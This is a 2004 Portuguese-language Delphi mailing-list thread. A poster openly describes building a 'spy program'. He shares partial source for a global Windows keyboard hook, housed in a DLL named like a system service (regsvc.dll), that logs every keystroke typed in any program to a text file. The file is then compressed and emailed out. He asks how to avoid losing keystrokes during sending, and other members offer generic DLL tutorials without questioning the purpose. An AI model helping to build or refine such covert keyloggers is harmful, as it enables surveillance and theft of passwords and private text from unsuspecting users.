Sávio..
Essa rotina captura as teclas digitadas, eh uma rotina de um programa espião
que estou desenvolvendo.
Só que a rotina grava as teclas num txt, então fica difícil de eu
implementar uma solução de só serem gravadas as teclas corretas, ou seja se
uma pessoa digitar um texto, errar e depois corrigir com o BackSpace por
exemplo, eu não consigo deletar do TXT os caracteres que a pessoa deletou
quando digitava.. entendeu.. 
já com o memo eu consigo fazer isso, pois tenho uma rotina mas ele está
usando uma função no proprio programa e eu quero um hook global para gravar
as teclas digitadas em qualquer programa e não um hook local que grava
apenas as teclas digitadas no meu programa..
então se eu conseguir capturar a tecla dentro da função na DLL e fazer essa
função escrever no memo que se encontra dentro da minha aplicação ao invés
de escrever num txt jah me ajuda bastante, pois eu envio o txt por email e
antes de enviar o email eu compacto o arquivo e para fazer isso eu tenho q
parar de gravar por alguns instantes a captura de teclas para poder
compactar e enviar o arquivo.. com isso estou perdendo alguns caracteres que
estão sendo digitados no momento da compactação e envio do txt.
se eu conseguisse escrever no memo facilitaria, pois eu não precisaria parar
de gravar as teclas. apenas escreveria o conteudo do memo em um txt.
será que vc ou alguem pode me ajudar a resolver esse problema
 
__________________________________________
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
 Av. Mendonça Furtado, 53 - Centro / Macapá-AP
 212-5318 - 212-5378
 212-5303
 [EMAIL PROTECTED] 
 www.sema.ap.gov.br 
-------Mensagem original-------
 
De: [EMAIL PROTECTED]
Data: 09/29/04 15:09:36
Para: [EMAIL PROTECTED]
Assunto: Re: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um
TMemo !
 
Ai pergunto, já não este em um arquivo texto?
 
                Write(ArqLog, 'à');  // Escreve num TXT  >> Deveria escrever
num memo dentro da minha aplicação
 
Desculpa ai, hehe, é que faço isso em um txt. Tentando ajudar.
 
  Sávio Cler
  ICQ 142428832
  www.sgm.rg3.net
  [EMAIL PROTECTED]
  Sto A. de Pádua - Rio de Janeiro
  Contato Pessoal:   (22)9812-0656
 
              ~ ~
            ( @ @ )
  -------o0Oo-(_)-oO0o-------
      Precisando de dicas?
     www.deephi.hpg.com.br
  ---------------------------
    Mais de 30000 downloads
  ---------ooO---Ooo---------
----- Original Message -----
From: "David Leão " <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Wednesday, September 29, 2004 2:27 PM
Subject: Res: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um
TMemo !
 
 
Não.. eu quero gravar o conteudo do memo para o arquivo TXT e não ao
contrário :(
 
__________________________________________
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
-------Mensagem original-------
 
De: [EMAIL PROTECTED]
Data: 09/29/04 13:44:19
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo
!
 
Não dá para o Memo pegar do arquivo texto?
 
  Sávio Cler
  ICQ 142428832
  www.sgm.rg3.net
  [EMAIL PROTECTED]
  Sto A. de Pádua - Rio de Janeiro
  Contato Pessoal:   (22)9812-0656
 
              ~ ~
            ( @ @ )
  -------o0Oo-(_)-oO0o-------
      Precisando de dicas?
     www.deephi.hpg.com.br
  ---------------------------
    Mais de 30000 downloads
  ---------ooO---Ooo---------
----- Original Message -----
From: "David Leão " <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Wednesday, September 29, 2004 12:44 PM
Subject: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
 
 
Caro Abensur,
Sua ajuda foi de suma importancia para eu tirar algumas dúvidas sobre o que
estou tentando fazer, mas realmente o que eu quero, não consta nesse
tutorial que vc enviou. na verdade não tem como eu escrever de "dentro"  da
Dll no memo que está na minha aplicação??
Abaixo segue o código do que eu quero fazer.:
Na verdade a rotina que eu tenho escreve num arquivo de texto e em vez disso
eu quero que ela escreva em um memo que se encontra na aplicação que usa a
dll.
o nome da minha dll é regsvc.dll
 
{Declaração das variáveis globais da unit}
 
Var
  FormSpy: TFormSpy;
  IdKeyLog: HHOOK;
  KeyLogDLL: LongWord;
  KeyLogHookProc: FARPROC;
 
{Evento OnCreate do Form}
 
    IdKeyLog := 0;
    KeylogDLL := LoadLibrary('regsvc.dll');
    KeylogHookProc := GetProcAddress(KeylogDLL, 'KeyboardHookProc');
    IdKeylog := SetWindowsHookEx(WH_KEYBOARD, KeylogHookProc, KeyLogDLL, 0);
 
 
{Função dentro da dll}
 
Function KeyboardHookProc(code: Integer; wParam: WPARAM; lParam: LPARAM):
LRESULT Stdcall;
Var
  b1, b2: Boolean;
  ArqLog: TextFile;
Begin
  If (code <> HC_NOREMOVE) And (lParam < 0) Then
  Begin
    AssignFile(ArqLog, arq);
    Try
      If fileexists(arq) Then
        Append(ArqLog)
      Else
        ReWrite(ArqLog);
 
      If wParamOld = 219 Then
      Begin
        If (wShift) Then
        Begin
          Case wParam Of
            65: Begin
                Write(ArqLog, 'à');  // Escreve num TXT  >> Deveria escrever
num memo dentro da minha aplicação
                wParam := 0;
                wParamOld := 0;
              End;
            69: Begin
                Write(ArqLog, 'è');
                wParam := 0;
                wParamOld := 0;
              End;
          Else wParamOld := 0;
          End;
        End;
Exports
  KeyboardHookProc;
Begin
End.
 
=====================
Bom o que eu quero realmente é fazer essa rotina escrever num memo que se
encontra dentro da minha aplicação ao invés de escrever num arquivo de texto
 
Agradeço se vc puder me ajudar.
 
__________________________________________
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
-------Mensagem original-------
 
De: [EMAIL PROTECTED]
Data: 09/29/04 10:54:54
Para: [EMAIL PROTECTED]
Assunto: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
 
Seguem duas dicas: Como criar e usar DLLs e Colocando funções em uma DLL
 
Como criar e usar DLLs
 
Esta é uma outra dúvida bastante freqüente que chega a nós. "Como posso usar
uma DLL ?", "Como posso criar uma DLL ?", "Ei, moço! Pra quê serve uma DLL ?
 
 
Pois bem, DLL ou Dynamic Link Libraries, permitem que um conjunto de funções
desenvolvidas em uma linguagem possam ser utilizadas em programas
desenvolvidos em outras linguagens.
 
Você pode, por exemplo, criar uma DLL em Delphi com um conjunto de funções e
utilizá-la em aplicativos desenvolvidos em C++ ou Visual Basic, por exemplo.
Agora, vamos começar criando uma DLL:
 
Selecione o item New do Menu File, para exibir a caixa de diálogo New Items.
Agora, selecione o item DLL e clique em OK, para gerar o código principal da
DLL, que se apresenta a seguir:
 
library Project1;
 
{ Important note about DLL memory management: ShareMem must be the first
unit in your library's USES clause AND your project's (select Project-View
Source) USES clause if your DLL exports any procedures or functions that
pass strings as parameters or function results. This applies to all strings
passed to and from your DLL--even those that are nested in records and
classes. ShareMem is the interface unit to the BORLNDMM.DLL shared memory
manager, which must be deployed along with your DLL. To avoid using BORLNDMM
DLL, pass string information using PChar or ShortString parameters. }
 
uses
SysUtils, Classes;
begin
end.
Em muitas situações, inclusive esta, o arquivo DELPHIMM.DLL deve ser
distribuído junto à sua aplicação. Uma outra observação muito importante,
para que você possa escrever suas DLLs, você deve ter conhecimentos na
Linguagem Object Pascal.
 
Vamos continuar criando nossa DLL, pois é ela que iremos usar mais para
frente. Apenas como exemplificação, vamos criar uma função que receba como
parâmetros dois números reais e retorne o maior deles.
 
Function Max (a b : double ) : double ; Export ; stdcall ;
begin
If (a > b) then Result :=a else Result := b ;
end ;
 
 
Export = indica que a função poderá ser chamada por outros aplicativos.
 
Stdcall = permite que aplicativos desenvolvidos em outras linguagens façam
chamadas à função.
 
Após serem feitas estas alterações e salvar o projeto com o nome MAXDLL,
nossa DLL ficará assim:
 
library Project1;
 
{ Important note about DLL memory management: ShareMem must be the first
unit in your library's USES clause AND your project's (select Project-View
Source) USES clause if your DLL exports any procedures or functions that
pass strings as parameters or function results. This applies to all strings
passed to and from your DLL--even those that are nested in records and
classes. ShareMem is the interface unit to the BORLNDMM.DLL shared memory
manager, which must be deployed along with your DLL. To avoid using BORLNDMM
DLL, pass string information using PChar or ShortString parameters. }
 
uses
SysUtils,
Classes;
function Max(a, b : double):double:expert:stdcall:
begin
if (a > b) then result:= a else result := b;
end;
 
exports
Max index 1;
begin
end.
 
 
Você pode compilar uma DLL, assim como a um projeto no Delphi, e distribuir
livremente.
 
PS: Você não pode executar uma DLL pelo Delphi, através do RUN do Menu Run,
pois não se trata de uma aplicação.
 
Mais à frente, você perceberá que uma DLL pode usar formulários e objetos
definidos em outras unidades. Iremos, agora, chamar uma DLL, a partir de
outra aplicação.
 
Neste exemplo que iremos montar, iremos usar: um formulário, duas caixas de
texto (os quais o usuário irá digitar dois números reais), um botão de
comando.
 
unit usadll;
 
interface
 
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
 
type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
function Max(a, b : double):double;stdcall;
 
var
Form1: TForm1;
 
implementation
 
{$R *.DFM}
 
function Max(a, b : double):double;external 'MaxDLL';
procedure TForm1.Button1Click(Sender: TObject);
var
x, y, resultado : double;
begin
x := StrToFloat(Edit1.Text);
y := StrToFloat(Edit2.Text);
resultado := Max(x,y);
ShowMessage('Valor Máximo ' +FloatToStr(resultado));
end;
 
end.
PS: A função Max está declarada na seção interface e implementada na seção
implementation, ou seja, a função está implementada em uma DLL.
 
 
 
 
 
 
 
Colocando funções em uma DLL
Edite diretamente no DPR, e depois salve como Funcoes.dpr:
 
Library Funcoes;
 
Uses SysUtils,WinTypes,WinProcs;
{ Uma função que tira os espaços no início e no final de uma string }
 
Function Trim(J:String):String; Export;
Begin
While J[Length(J)]=#32 do Dec(J[0]);
If Length(J)>1 then
While (J[1]=' ') do
Begin
Delete(J,1,1);
If Length(J)<=1 then J:='';
end;
Result:=J;
end;
Exports { Torna visivel para os programas }
Trim;
Begin
End.
Para usar num programa:
 
Unit Unit1;
Interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, Buttons;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
Var
Form1: TForm1;
Implementation
{ Declara a funcao }
Function Trim(J:String):String; External 'funcoes.dll';
{$R *.DFM}
Procedure TForm1.FormClick(Sender: TObject);
begin
Caption:=Trim(' Visite sempre o Delphi Club '); { Note os espacos }
end;
 
 
 
 
 
 
  ----- Original Message -----
  From: David Leão
  To: Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED] ;
Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED]
com.br ; Delphi - [EMAIL PROTECTED] ; Delphi -
[EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED]
br ; Delphi - [EMAIL PROTECTED]
  Sent: Wednesday, September 29, 2004 11:09 AM
  Subject: [DELPHI-Total] DLL escrevendo em um TMemo !
 
 
  Olá Caros Amigos,
  Coma fazer para que uma função dentro de uma Dll escreva textos em um
TMemo
  na Minha Aplicação.?
  Alguem tem um exemplo, tutorial ou apostila que fale sobre Dll??
  Agradeço quem pudr me enviar ..
  []'s
 
  __________________________________________
  David Leão Alves
  Administrador de Banco de Dados
  Governo do Estado do Amapá
  Secretaria de Estado do Meio Ambiente - SEMA
  Av. Mendonça Furtado, 53 - Centro / Macapá-AP
  212-5318 - 212-5378
  212-5303
  [EMAIL PROTECTED]
  www.sema.ap.gov.br
 
  [As partes desta mensagem que não continham texto foram removidas]
 
 
 
  ---------------------------------------------------
            Divulgue o Grupo Dephi-Total
                Um favor para todos!
  ---------------------------------------------------
       Responda sempre que souber, lembre-se:
               Um dia pode ser você
  ---------------------------------------------------
  Para cancelar sua assinatura, envie um e-mail para:
  [EMAIL PROTECTED]
  ---------------------------------------------------
 
 
 
 
        Yahoo! Grupos, um serviço oferecido por:
 
 
 
----------------------------------------------------------------------------
-
 
  Links do Yahoo! Grupos
 
    a.. Para visitar o site do seu grupo na web, acesse:
    http://br.groups.yahoo.com/group/delphi-total/
 
    b.. Para sair deste grupo, envie um e-mail para:
    [EMAIL PROTECTED]
 
    c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do
Serviço do Yahoo!.
 
 
 
[As partes desta mensagem que não continham texto foram removidas]
 
 
 
---------------------------------------------------
          Divulgue o Grupo Dephi-Total
              Um favor para todos!
---------------------------------------------------
     Responda sempre que souber, lembre-se:
             Um dia pode ser você
---------------------------------------------------
Para cancelar sua assinatura, envie um e-mail para:
[EMAIL PROTECTED]
---------------------------------------------------
 
 
Links do Yahoo! Grupos
 
 
 
 
 
 
 
[As partes desta mensagem que não continham texto foram removidas]
 
 
 
--
<<<<< FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM >>>>>
 
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
 
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
 
 
      Yahoo! Grupos, um serviço oferecido por:
 
 
 
----------------------------------------------------------------------------
----
Links do Yahoo! Grupos
 
  a.. Para visitar o site do seu grupo na web, acesse:
  http://br.groups.yahoo.com/group/delphi-br/
 
  b.. Para sair deste grupo, envie um e-mail para:
  [EMAIL PROTECTED]
 
  c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço
do Yahoo!.
 
 
 
 
--
<<<<< FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM >>>>>
 
Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages
 
Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos
 
 
 
 
 
 
 
[As partes desta mensagem que não continham texto foram removidas]
 
 
 
--
<<<<< FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM >>>>>
 
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
 
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
 
 
      Yahoo! Grupos, um serviço oferecido por:
 
 
 
----------------------------------------------------------------------------
----
Links do Yahoo! Grupos
 
  a.. Para visitar o site do seu grupo na web, acesse:
  http://br.groups.yahoo.com/group/delphi-br/
 
  b.. Para sair deste grupo, envie um e-mail para:
  [EMAIL PROTECTED]
 
  c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço
do Yahoo!.
 
 
 
 
--
<<<<< FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM >>>>>
 
Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages
 
Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos
 
 
 
 
 
 

[As partes desta mensagem que não continham texto foram removidas]



-- 
<<<<< FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM >>>>>

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

<*> Para visitar o site do seu grupo na web, acesse:
    http://br.groups.yahoo.com/group/delphi-br/

<*> Para sair deste grupo, envie um e-mail para:
    [EMAIL PROTECTED]

<*> O uso que você faz do Yahoo! Grupos está sujeito aos:
    http://br.yahoo.com/info/utos.html

 

Responder a